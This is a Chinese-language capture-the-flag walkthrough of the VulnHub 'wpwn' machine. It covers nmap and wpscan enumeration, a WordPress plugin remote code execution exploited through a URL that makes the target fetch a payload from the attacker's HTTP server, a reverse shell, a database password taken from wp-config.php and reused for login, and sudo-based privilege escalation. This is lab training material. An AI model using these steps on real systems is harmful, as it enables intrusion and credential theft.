文章目录
- 1. 主机发现
- 2. 端口扫描&服务枚举
- 3. 服务探查
- 4. 系统提权
靶机地址:https://download.vulnhub.com/wpwn/wpwnvm.zip
1. 主机发现
目前只知道目标靶机在192.168.37.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.37.0/24
基于已有的IP排除一下,目标靶机的IP地址锁定为192.168.37.134。
2. 端口扫描&服务枚举
通过下面的命令扫描一下端口。
$ sudo nmap -p- 192.168.37.134
嗯,还是只有22端口和80端口,枚举一下端口上的服务。
$ sudo nmap -p22,80 -A -sT -sV 192.168.37.134
又是apache,并且扫做系统应该是debian。
3. 服务探查
直接浏览器访问一下。
就是一段普通的文字,不需要过度解读,直接扫描一下目录。
先看看robots.txt文件。
没啥特别的内容,/secret打不开,不过这个ma和boi可能是用户名。另外,又是worpress,先挂上big字典扫描一下php和html页面,然后用wpscan扫一下。
$ dirb http://192.168.37.134 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.37.134 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.37.134/wordpress/ /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.37.134/wordpress/ /usr/share/wordlists/dirb/big.txt -X .html
除了wp下的php,没啥干货,wpscan扫描一下吧。
$ wpscan --url http://192.168.37.134/wordpress -e u
枚举除了wp的版本为5.5,并且存在一个账号admin,这从/wordpress首页的HelloWorld作者也可以看出来。另外,在访问浏览器前面扫描出来的php页面的时候,发现浏览器访问很慢,很多页面元素都指向了192.168.1.12的主机,如下图所示。
这是一个比较奇怪的地址,在kali和我的windows host上都可以ping通这个地址。应该是靶机里面又起了虚拟机。所以我们在这个地址上也扫描一下。
很奇怪,这个地址能够ping通,扫描的时候全部超时。直接枚举一下这个地址上的端口和服务试试看。
浏览器里面手工访问一下看看。
手工访问不可达,暂时放一边。另外在wpscan里面海扫描到一个插件,如下图所示
直接根据插件名称和版本看看有没有可以利用的漏洞。
有个远程代码执行漏洞,并且跟我们扫描出来的插件版本是匹配的,下载exp看一下。
代码不是很复杂,但是具体怎么用,没说,还在自己组装payload,太麻烦了,直接上网上找一下。大致意思是,在本地创建一个txt文件,里面装载具体的可执行代码,然后在本地起一个http服务,让靶机可以远程访问到这个文件,就可以远程执行txt中的代码了。既然这样,我们先构造一个payload文件,名为my_payload.txt,如下图。
然后本地用python起一个http服务。
$ python3 -m http.server 5000
手工在浏览器中访问一下对应的url。
http://192.168.37.134/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.37.132:5000/my_payload.txt
如上图所示,页面顺利返回了我们请求的/etc/passwd的内容,并且http服务有请求过来的反应,这说明是靠谱的.
将payload中的内容改成反弹shell,如下图。
重新启动一下http服务(不重启的话,修改后的payload可能不生效),本地建立监听。然后重新在浏览器里面访问一下。
顺利创建反弹shell。
4. 系统提权
先通过python优化一下shell。
www-data@wpwn:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"
看一下系统信息。
64位的debian10,内核版本也出来了。接着运行一下linpeas脚本。
首先是一个内核提权漏洞,不过比我们靶机的内核版本低不少,暂时放弃,如下图。
另外,找到了另外一个用户takis,如下图。
顺便从passwd中看看还有没有别的用户。
$ cat /etc/passwd | grep "/bin/bash"
确实没有别的用户。接下来,有个有意思的信息,如下图。
意思是,任何其它的用户,可能没有密码或者用户名作为密码?直接试试我们刚找到的takis用户吧。
看来想简单了,不可以。再往下,在wp-config.php中发现了数据库的用户名密码。
既然takis是貌似除了root之外唯一靠谱的用户,看看这个密码能不能登录takis吧。
有点超乎想象,真的能够登录成功,于是我们得到了takis用户的近似于变态的密码R3&]vzhHmMn9,:-5 ,这个密码通过爆破获得肯定是不可能了,顺拿下当前用户的flag。
直接在takis用户下执行一下linpeas脚本。
首先发现的是上图所示的,难道takis运行啥都不需要password吗?直接sudo bash一下。
额,这就提权成功了。验证一下,并获取一下flag。
确实是root用户,提权成功,不过这里本应该放置flag的root.txt里面只放了一句话,正好应对了首页当中显示的那句话,还有印象吗?再贴过来一遍。
我们的目标不仅仅是提权到root shell,而是读一下哈这个文件。看看他这个USB吧。
首先通过ls -lah在/mnt和/dev下面都没有发现特殊的(其实是我不太懂),不过这里提到了USB,直接全盘搜索吧。
root@wpwn:~# find / -name "USB"
有发现,看看里面是啥。
顺利拿到flag,游戏结束。